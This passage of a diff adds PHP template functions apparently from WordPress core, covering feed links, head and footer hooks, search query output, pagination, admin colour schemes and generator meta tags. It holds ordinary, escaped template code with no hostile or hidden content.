+		$time = $post->post_modified_gmt;
+	else
+		$time = $post->post_modified;
+	$time = mysql2date($d, $time, $translate);
+
+	/**
+	 * Filter the localized time a post was last modified.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $time The formatted time.
+	 * @param string $d    The date format. Accepts 'G', 'U', or php date format. Default 'U'.
+	 * @param bool   $gmt  Whether to return the GMT time. Default false.
+	 */
+	return apply_filters( 'get_post_modified_time', $time, $d, $gmt );
+}
+
+/**
+ * Display the weekday on which the post was written.
+ *
+ * @since 0.71
+ * @uses $wp_locale
+ */
+function the_weekday() {
+	global $wp_locale;
+	$the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
+
+	/**
+	 * Filter the weekday on which the post was written, for display.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $the_weekday
+	 */
+	$the_weekday = apply_filters( 'the_weekday', $the_weekday );
+	echo $the_weekday;
+}
+
+/**
+ * Display the weekday on which the post was written.
+ *
+ * Will only output the weekday if the current post's weekday is different from
+ * the previous one output.
+ *
+ * @since 0.71
+ *
+ * @param string $before Optional Output before the date.
+ * @param string $after Optional Output after the date.
+ */
+function the_weekday_date($before='',$after='') {
+	global $wp_locale, $currentday, $previousweekday;
+	$the_weekday_date = '';
+	if ( $currentday != $previousweekday ) {
+		$the_weekday_date .= $before;
+		$the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
+		$the_weekday_date .= $after;
+		$previousweekday = $currentday;
+	}
+
+	/**
+	 * Filter the localized date on which the post was written, for display.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $the_weekday_date
+	 * @param string $before           The HTML to output before the date.
+	 * @param string $after            The HTML to output after the date.
+	 */
+	$the_weekday_date = apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
+	echo $the_weekday_date;
+}
+
+/**
+ * Fire the wp_head action
+ *
+ * @since 1.2.0
+ */
+function wp_head() {
+	/**
+	 * Print scripts or data in the head tag on the front end.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'wp_head' );
+}
+
+/**
+ * Fire the wp_footer action
+ *
+ * @since 1.5.1
+ */
+function wp_footer() {
+	/**
+	 * Print scripts or data before the closing body tag on the front end.
+	 *
+	 * @since 1.5.1
+	 */
+	do_action( 'wp_footer' );
+}
+
+/**
+ * Display the links to the general feeds.
+ *
+ * @since 2.8.0
+ *
+ * @param array $args Optional arguments.
+ */
+function feed_links( $args = array() ) {
+	if ( !current_theme_supports('automatic-feed-links') )
+		return;
+
+	$defaults = array(
+		/* translators: Separator between blog name and feed type in feed links */
+		'separator'	=> _x('&raquo;', 'feed link'),
+		/* translators: 1: blog title, 2: separator (raquo) */
+		'feedtitle'	=> __('%1$s %2$s Feed'),
+		/* translators: 1: blog title, 2: separator (raquo) */
+		'comstitle'	=> __('%1$s %2$s Comments Feed'),
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['feedtitle'], get_bloginfo('name'), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link() ) . "\" />\n";
+	echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['comstitle'], get_bloginfo('name'), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) . "\" />\n";
+}
+
+/**
+ * Display the links to the extra feeds such as category feeds.
+ *
+ * @since 2.8.0
+ *
+ * @param array $args Optional arguments.
+ */
+function feed_links_extra( $args = array() ) {
+	$defaults = array(
+		/* translators: Separator between blog name and feed type in feed links */
+		'separator'   => _x('&raquo;', 'feed link'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: post title */
+		'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: category name */
+		'cattitle'    => __('%1$s %2$s %3$s Category Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: tag name */
+		'tagtitle'    => __('%1$s %2$s %3$s Tag Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: author name  */
+		'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
+		'searchtitle' => __('%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: post type name */
+		'posttypetitle' => __('%1$s %2$s %3$s Feed'),
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( is_singular() ) {
+		$id = 0;
+		$post = get_post( $id );
+
+		if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
+			$title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], the_title_attribute( array( 'echo' => false ) ) );
+			$href = get_post_comments_feed_link( $post->ID );
+		}
+	} elseif ( is_post_type_archive() ) {
+		$post_type = get_query_var( 'post_type' );
+		if ( is_array( $post_type ) )
+			$post_type = reset( $post_type );
+
+		$post_type_obj = get_post_type_object( $post_type );
+		$title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $post_type_obj->labels->name );
+		$href = get_post_type_archive_feed_link( $post_type_obj->name );
+	} elseif ( is_category() ) {
+		$term = get_queried_object();
+
+		if ( $term ) {
+			$title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
+			$href = get_category_feed_link( $term->term_id );
+		}
+	} elseif ( is_tag() ) {
+		$term = get_queried_object();
+
+		if ( $term ) {
+			$title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
+			$href = get_tag_feed_link( $term->term_id );
+		}
+	} elseif ( is_author() ) {
+		$author_id = intval( get_query_var('author') );
+
+		$title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
+		$href = get_author_feed_link( $author_id );
+	} elseif ( is_search() ) {
+		$title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
+		$href = get_search_feed_link();
+	} elseif ( is_post_type_archive() ) {
+		$title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
+		$post_type_obj = get_queried_object();
+		if ( $post_type_obj )
+			$href = get_post_type_archive_feed_link( $post_type_obj->name );
+	}
+
+	if ( isset($title) && isset($href) )
+		echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
+}
+
+/**
+ * Display the link to the Really Simple Discovery service endpoint.
+ *
+ * @link http://archipelago.phrasewise.com/rsd
+ * @since 2.0.0
+ */
+function rsd_link() {
+	echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . get_bloginfo('wpurl') . "/xmlrpc.php?rsd\" />\n";
+}
+
+/**
+ * Display the link to the Windows Live Writer manifest file.
+ *
+ * @link http://msdn.microsoft.com/en-us/library/bb463265.aspx
+ * @since 2.3.1
+ */
+function wlwmanifest_link() {
+	echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="',
+		includes_url( 'wlwmanifest.xml' ), '" /> ', "\n";
+}
+
+/**
+ * Display a noindex meta tag if required by the blog configuration.
+ *
+ * If a blog is marked as not being public then the noindex meta tag will be
+ * output to tell web robots not to index the page content. Add this to the wp_head action.
+ * Typical usage is as a wp_head callback. add_action( 'wp_head', 'noindex' );
+ *
+ * @see wp_no_robots
+ *
+ * @since 2.1.0
+ */
+function noindex() {
+	// If the blog is not public, tell robots to go away.
+	if ( '0' == get_option('blog_public') )
+		wp_no_robots();
+}
+
+/**
+ * Display a noindex meta tag.
+ *
+ * Outputs a noindex meta tag that tells web robots not to index the page content.
+ * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
+ *
+ * @since 3.3.0
+ */
+function wp_no_robots() {
+	echo "<meta name='robots' content='noindex,follow' />\n";
+}
+
+/**
+ * Whether the user should have a WYSIWIG editor.
+ *
+ * Checks that the user requires a WYSIWIG editor and that the editor is
+ * supported in the users browser.
+ *
+ * @since 2.0.0
+ *
+ * @return bool
+ */
+function user_can_richedit() {
+	global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE;
+
+	if ( !isset($wp_rich_edit) ) {
+		$wp_rich_edit = false;
+
+		if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
+			if ( $is_safari ) {
+				$wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
+			} elseif ( $is_gecko || $is_chrome || $is_IE || ( $is_opera && !wp_is_mobile() ) ) {
+				$wp_rich_edit = true;
+			}
+		}
+	}
+
+	/**
+	 * Filter whether the user can access the rich (Visual) editor.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param bool $wp_rich_edit Whether the user can access to the rich (Visual) editor.
+	 */
+	return apply_filters( 'user_can_richedit', $wp_rich_edit );
+}
+
+/**
+ * Find out which editor should be displayed by default.
+ *
+ * Works out which of the two editors to display as the current editor for a
+ * user. The 'html' setting is for the "Text" editor tab.
+ *
+ * @since 2.5.0
+ *
+ * @return string Either 'tinymce', or 'html', or 'test'
+ */
+function wp_default_editor() {
+	$r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
+	if ( wp_get_current_user() ) { // look for cookie
+		$ed = get_user_setting('editor', 'tinymce');
+		$r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
+	}
+
+	/**
+	 * Filter which editor should be displayed by default.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $r An array of editors. Accepts 'tinymce', 'html', 'test'.
+	 */
+	return apply_filters( 'wp_default_editor', $r );
+}
+
+/**
+ * Renders an editor.
+ *
+ * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
+ * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
+ *
+ * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
+ * running wp_editor() inside of a metabox is not a good idea unless only Quicktags is used.
+ * On the post edit screen several actions can be used to include additional editors
+ * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
+ * See https://core.trac.wordpress.org/ticket/19173 for more information.
+ *
+ * @see wp-includes/class-wp-editor.php
+ * @since 3.3.0
+ *
+ * @param string $content Initial content for the editor.
+ * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
+ * @param array $settings See _WP_Editors::editor().
+ */
+function wp_editor( $content, $editor_id, $settings = array() ) {
+	if ( ! class_exists( '_WP_Editors' ) )
+		require( ABSPATH . WPINC . '/class-wp-editor.php' );
+
+	_WP_Editors::editor($content, $editor_id, $settings);
+}
+
+/**
+ * Retrieve the contents of the search WordPress query variable.
+ *
+ * The search query string is passed through {@link esc_attr()}
+ * to ensure that it is safe for placing in an html attribute.
+ *
+ * @since 2.3.0
+ *
+ * @param bool $escaped Whether the result is escaped. Default true.
+ * 	Only use when you are later escaping it. Do not use unescaped.
+ * @return string
+ */
+function get_search_query( $escaped = true ) {
+	/**
+	 * Filter the contents of the search query variable.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param mixed $search Contents of the search query variable.
+	 */
+	$query = apply_filters( 'get_search_query', get_query_var( 's' ) );
+
+	if ( $escaped )
+		$query = esc_attr( $query );
+	return $query;
+}
+
+/**
+ * Display the contents of the search query variable.
+ *
+ * The search query string is passed through {@link esc_attr()}
+ * to ensure that it is safe for placing in an html attribute.
+ *
+ * @since 2.1.0
+ */
+function the_search_query() {
+	/**
+	 * Filter the contents of the search query variable for display.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param mixed $search Contents of the search query variable.
+	 */
+	echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
+}
+
+/**
+ * Display the language attributes for the html tag.
+ *
+ * Builds up a set of html attributes containing the text direction and language
+ * information for the page.
+ *
+ * @since 2.1.0
+ *
+ * @param string $doctype The type of html document (xhtml|html).
+ */
+function language_attributes($doctype = 'html') {
+	$attributes = array();
+
+	if ( function_exists( 'is_rtl' ) && is_rtl() )
+		$attributes[] = 'dir="rtl"';
+
+	if ( $lang = get_bloginfo('language') ) {
+		if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
+			$attributes[] = "lang=\"$lang\"";
+
+		if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
+			$attributes[] = "xml:lang=\"$lang\"";
+	}
+
+	$output = implode(' ', $attributes);
+
+	/**
+	 * Filter the language attributes for display in the html tag.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $output A space-separated list of language attributes.
+	 */
+	echo apply_filters( 'language_attributes', $output );
+}
+
+/**
+ * Retrieve paginated link for archive post pages.
+ *
+ * Technically, the function can be used to create paginated link list for any
+ * area. The 'base' argument is used to reference the url, which will be used to
+ * create the paginated links. The 'format' argument is then used for replacing
+ * the page number. It is however, most likely and by default, to be used on the
+ * archive post pages.
+ *
+ * The 'type' argument controls format of the returned value. The default is
+ * 'plain', which is just a string with the links separated by a newline
+ * character. The other possible values are either 'array' or 'list'. The
+ * 'array' value will return an array of the paginated link list to offer full
+ * control of display. The 'list' value will place all of the paginated links in
+ * an unordered HTML list.
+ *
+ * The 'total' argument is the total amount of pages and is an integer. The
+ * 'current' argument is the current page number and is also an integer.
+ *
+ * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
+ * and the '%_%' is required. The '%_%' will be replaced by the contents of in
+ * the 'format' argument. An example for the 'format' argument is "?page=%#%"
+ * and the '%#%' is also required. The '%#%' will be replaced with the page
+ * number.
+ *
+ * You can include the previous and next links in the list by setting the
+ * 'prev_next' argument to true, which it is by default. You can set the
+ * previous text, by using the 'prev_text' argument. You can set the next text
+ * by setting the 'next_text' argument.
+ *
+ * If the 'show_all' argument is set to true, then it will show all of the pages
+ * instead of a short list of the pages near the current page. By default, the
+ * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
+ * arguments. The 'end_size' argument is how many numbers on either the start
+ * and the end list edges, by default is 1. The 'mid_size' argument is how many
+ * numbers to either side of current page, but not including current page.
+ *
+ * It is possible to add query vars to the link by using the 'add_args' argument
+ * and see {@link add_query_arg()} for more information.
+ *
+ * The 'before_page_number' and 'after_page_number' arguments allow users to
+ * augment the links themselves. Typically this might be to add context to the
+ * numbered links so that screen reader users understand what the links are for.
+ * The text strings are added before and after the page number - within the
+ * anchor tag.
+ *
+ * @since 2.1.0
+ *
+ * @param string|array $args Optional. Override defaults.
+ * @return array|string String of page links or array of page links.
+ */
+function paginate_links( $args = '' ) {
+	global $wp_query, $wp_rewrite;
+
+	// Setting up default values based on the current URL.
+	$pagenum_link = html_entity_decode( get_pagenum_link() );
+	$url_parts    = explode( '?', $pagenum_link );
+
+	// Get max pages and current page out of the current query, if available.
+	$total   = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
+	$current = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
+
+	// Append the format placeholder to the base URL.
+	$pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';
+
+	// URL base depends on permalink settings.
+	$format  = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
+	$format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
+
+	$defaults = array(
+		'base' => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
+		'format' => $format, // ?page=%#% : %#% is replaced by the page number
+		'total' => $total,
+		'current' => $current,
+		'show_all' => false,
+		'prev_next' => true,
+		'prev_text' => __('&laquo; Previous'),
+		'next_text' => __('Next &raquo;'),
+		'end_size' => 1,
+		'mid_size' => 2,
+		'type' => 'plain',
+		'add_args' => array(), // array of query args to add
+		'add_fragment' => '',
+		'before_page_number' => '',
+		'after_page_number' => ''
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( ! is_array( $args['add_args'] ) ) {
+		$args['add_args'] = array();
+	}
+
+	// Merge additional query vars found in the original URL into 'add_args' array.
+	if ( isset( $url_parts[1] ) ) {
+		// Find the format argument.
+		$format_query = parse_url( str_replace( '%_%', $args['format'], $args['base'] ), PHP_URL_QUERY );
+		wp_parse_str( $format_query, $format_arg );
+
+		// Remove the format argument from the array of query arguments, to avoid overwriting custom format.
+		wp_parse_str( remove_query_arg( array_keys( $format_arg ), $url_parts[1] ), $query_args );
+		$args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $query_args ) );
+	}
+
+	// Who knows what else people pass in $args
+	$total = (int) $args['total'];
+	if ( $total < 2 ) {
+		return;
+	}
+	$current  = (int) $args['current'];
+	$end_size = (int) $args['end_size']; // Out of bounds?  Make it the default.
+	if ( $end_size < 1 ) {
+		$end_size = 1;
+	}
+	$mid_size = (int) $args['mid_size'];
+	if ( $mid_size < 0 ) {
+		$mid_size = 2;
+	}
+	$add_args = $args['add_args'];
+	$r = '';
+	$page_links = array();
+	$dots = false;
+
+	if ( $args['prev_next'] && $current && 1 < $current ) :
+		$link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
+		$link = str_replace( '%#%', $current - 1, $link );
+		if ( $add_args )
+			$link = add_query_arg( $add_args, $link );
+		$link .= $args['add_fragment'];
+
+		/**
+		 * Filter the paginated links for the given archive pages.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $link The paginated link URL.
+		 */
+		$page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['prev_text'] . '</a>';
+	endif;
+	for ( $n = 1; $n <= $total; $n++ ) :
+		if ( $n == $current ) :
+			$page_links[] = "<span class='page-numbers current'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</span>";
+			$dots = true;
+		else :
+			if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
+				$link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
+				$link = str_replace( '%#%', $n, $link );
+				if ( $add_args )
+					$link = add_query_arg( $add_args, $link );
+				$link .= $args['add_fragment'];
+
+				/** This filter is documented in wp-includes/general-template.php */
+				$page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</a>";
+				$dots = true;
+			elseif ( $dots && ! $args['show_all'] ) :
+				$page_links[] = '<span class="page-numbers dots">' . __( '&hellip;' ) . '</span>';
+				$dots = false;
+			endif;
+		endif;
+	endfor;
+	if ( $args['prev_next'] && $current && ( $current < $total || -1 == $total ) ) :
+		$link = str_replace( '%_%', $args['format'], $args['base'] );
+		$link = str_replace( '%#%', $current + 1, $link );
+		if ( $add_args )
+			$link = add_query_arg( $add_args, $link );
+		$link .= $args['add_fragment'];
+
+		/** This filter is documented in wp-includes/general-template.php */
+		$page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['next_text'] . '</a>';
+	endif;
+	switch ( $args['type'] ) {
+		case 'array' :
+			return $page_links;
+
+		case 'list' :
+			$r .= "<ul class='page-numbers'>\n\t<li>";
+			$r .= join("</li>\n\t<li>", $page_links);
+			$r .= "</li>\n</ul>\n";
+			break;
+
+		default :
+			$r = join("\n", $page_links);
+			break;
+	}
+	return $r;
+}
+
+/**
+ * Registers an admin colour scheme css file.
+ *
+ * Allows a plugin to register a new admin colour scheme. For example:
+ *
+ *     wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
+ *         '#07273E', '#14568A', '#D54E21', '#2683AE'
+ *     ) );
+ *
+ * @since 2.5.0
+ *
+ * @todo Properly document optional arguments as such
+ *
+ * @param string $key The unique key for this theme.
+ * @param string $name The name of the theme.
+ * @param string $url The url of the css file containing the colour scheme.
+ * @param array $colors Optional An array of CSS color definitions which are used to give the user a feel for the theme.
+ * @param array $icons Optional An array of CSS color definitions used to color any SVG icons
+ */
+function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
+	global $_wp_admin_css_colors;
+
+	if ( !isset($_wp_admin_css_colors) )
+		$_wp_admin_css_colors = array();
+
+	$_wp_admin_css_colors[$key] = (object) array(
+		'name' => $name,
+		'url' => $url,
+		'colors' => $colors,
+		'icon_colors' => $icons,
+	);
+}
+
+/**
+ * Registers the default Admin color schemes
+ *
+ * @since 3.0.0
+ */
+function register_admin_color_schemes() {
+	$suffix = is_rtl() ? '-rtl' : '';
+	$suffix .= defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
+
+	wp_admin_css_color( 'fresh', _x( 'Default', 'admin color scheme' ),
+		false,
+		array( '#222', '#333', '#0074a2', '#2ea2cc' ),
+		array( 'base' => '#999', 'focus' => '#2ea2cc', 'current' => '#fff' )
+	);
+
+	// Other color schemes are not available when running out of src
+	if ( false !== strpos( $GLOBALS['wp_version'], '-src' ) )
+		return;
+
+	wp_admin_css_color( 'light', _x( 'Light', 'admin color scheme' ),
+		admin_url( "css/colors/light/colors$suffix.css" ),
+		array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
+		array( 'base' => '#999', 'focus' => '#ccc', 'current' => '#ccc' )
+	);
+
+	wp_admin_css_color( 'blue', _x( 'Blue', 'admin color scheme' ),
+		admin_url( "css/colors/blue/colors$suffix.css" ),
+		array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
+		array( 'base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'midnight', _x( 'Midnight', 'admin color scheme' ),
+		admin_url( "css/colors/midnight/colors$suffix.css" ),
+		array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
+		array( 'base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'sunrise', _x( 'Sunrise', 'admin color scheme' ),
+		admin_url( "css/colors/sunrise/colors$suffix.css" ),
+		array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
+		array( 'base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'ectoplasm', _x( 'Ectoplasm', 'admin color scheme' ),
+		admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
+		array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
+		array( 'base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'ocean', _x( 'Ocean', 'admin color scheme' ),
+		admin_url( "css/colors/ocean/colors$suffix.css" ),
+		array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
+		array( 'base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'coffee', _x( 'Coffee', 'admin color scheme' ),
+		admin_url( "css/colors/coffee/colors$suffix.css" ),
+		array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
+		array( 'base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+}
+
+/**
+ * Display the URL of a WordPress admin CSS file.
+ *
+ * @see WP_Styles::_css_href and its style_loader_src filter.
+ *
+ * @since 2.3.0
+ *
+ * @param string $file file relative to wp-admin/ without its ".css" extension.
+ */
+function wp_admin_css_uri( $file = 'wp-admin' ) {
+	if ( defined('WP_INSTALLING') ) {
+		$_file = "./$file.css";
+	} else {
+		$_file = admin_url("$file.css");
+	}
+	$_file = add_query_arg( 'version', get_bloginfo( 'version' ),  $_file );
+
+	/**
+	 * Filter the URI of a WordPress admin CSS file.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $_file Relative path to the file with query arguments attached.
+	 * @param string $file  Relative path to the file, minus its ".css" extension.
+	 */
+	return apply_filters( 'wp_admin_css_uri', $_file, $file );
+}
+
+/**
+ * Enqueues or directly prints a stylesheet link to the specified CSS file.
+ *
+ * "Intelligently" decides to enqueue or to print the CSS file. If the
+ * 'wp_print_styles' action has *not* yet been called, the CSS file will be
+ * enqueued. If the wp_print_styles action *has* been called, the CSS link will
+ * be printed. Printing may be forced by passing true as the $force_echo
+ * (second) parameter.
+ *
+ * For backward compatibility with WordPress 2.3 calling method: If the $file
+ * (first) parameter does not correspond to a registered CSS file, we assume
+ * $file is a file relative to wp-admin/ without its ".css" extension. A
+ * stylesheet link to that generated URL is printed.
+ *
+ * @since 2.3.0
+ * @uses $wp_styles WordPress Styles Object
+ *
+ * @param string $file Optional. Style handle name or file name (without ".css" extension) relative
+ * 	 to wp-admin/. Defaults to 'wp-admin'.
+ * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
+ */
+function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
+	global $wp_styles;
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
+	// For backward compatibility
+	$handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
+
+	if ( $wp_styles->query( $handle ) ) {
+		if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
+			wp_print_styles( $handle );
+		else // Add to style queue
+			wp_enqueue_style( $handle );
+		return;
+	}
+
+	/**
+	 * Filter the stylesheet link to the specified CSS file.
+	 *
+	 * If the site is set to display right-to-left, the RTL stylesheet link
+	 * will be used instead.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $file Style handle name or filename (without ".css" extension)
+	 *                     relative to wp-admin/. Defaults to 'wp-admin'.
+	 */
+	echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
+
+	if ( function_exists( 'is_rtl' ) && is_rtl() ) {
+		/** This filter is documented in wp-includes/general-template.php */
+		echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
+	}
+}
+
+/**
+ * Enqueues the default ThickBox js and css.
+ *
+ * If any of the settings need to be changed, this can be done with another js
+ * file similar to media-upload.js. That file should
+ * require array('thickbox') to ensure it is loaded after.
+ *
+ * @since 2.5.0
+ */
+function add_thickbox() {
+	wp_enqueue_script( 'thickbox' );
+	wp_enqueue_style( 'thickbox' );
+
+	if ( is_network_admin() )
+		add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
+}
+
+/**
+ * Display the XHTML generator that is generated on the wp_head hook.
+ *
+ * @since 2.5.0
+ */
+function wp_generator() {
+	/**
+	 * Filter the output of the XHTML generator tag.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $generator_type The XHTML generator.
+	 */
+	the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
+}
+
+/**
+ * Display the generator XML or Comment for RSS, ATOM, etc.
+ *
+ * Returns the correct generator type for the requested output format. Allows
+ * for a plugin to filter generators overall the the_generator filter.
+ *
+ * @since 2.5.0
+ *
+ * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
+ */
+function the_generator( $type ) {
+	/**
+	 * Filter the output of the XHTML generator tag for display.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $generator_type The generator output.
+	 * @param string $type           The type of generator to output. Accepts 'html',
+	 *                               'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
+	 */
+	echo apply_filters( 'the_generator', get_the_generator($type), $type ) . "\n";
+}
+
+/**
+ * Creates the generator XML or Comment for RSS, ATOM, etc.
+ *
+ * Returns the correct generator type for the requested output format. Allows
+ * for a plugin to filter generators on an individual basis using the
+ * 'get_the_generator_{$type}' filter.
+ *
+ * @since 2.5.0
+ *
+ * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
+ * @return string The HTML content for the generator.
+ */
+function get_the_generator( $type = '' ) {
+	if ( empty( $type ) ) {
+
+		$current_filter = current_filter();
+		if ( empty( $current_filter ) )
+			return;
+
+		switch ( $current_filter ) {
+			case 'rss2_head' :
+			case 'commentsrss2_head' :
+				$type = 'rss2';
+				break;
+			case 'rss_head' :
+			case 'opml_head' :
+				$type = 'comment';
+				break;
+			case 'rdf_header' :
+				$type = 'rdf';
+				break;
+			case 'atom_head' :
+			case 'comments_atom_head' :
+			case 'app_head' :
+				$type = 'atom';
+				break;
+		}
+	}
+
+	switch ( $type ) {
+		case 'html':
+			$gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
+			break;
+		case 'xhtml':
+			$gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
+			break;
+		case 'atom':
+			$gen = '<generator uri="http://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
+			break;
+		case 'rss2':
+			$gen = '<generator>http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
+			break;
+		case 'rdf':
+			$gen = '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
+			break;
+		case 'comment':
+			$gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
+			break;
+		case 'export':
+			$gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->';
+			break;
+	}
+
+	/**
+	 * Filter the HTML for the retrieved generator type.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the generator type.
+	 *
+	 * @since 2.5.0
+	 *
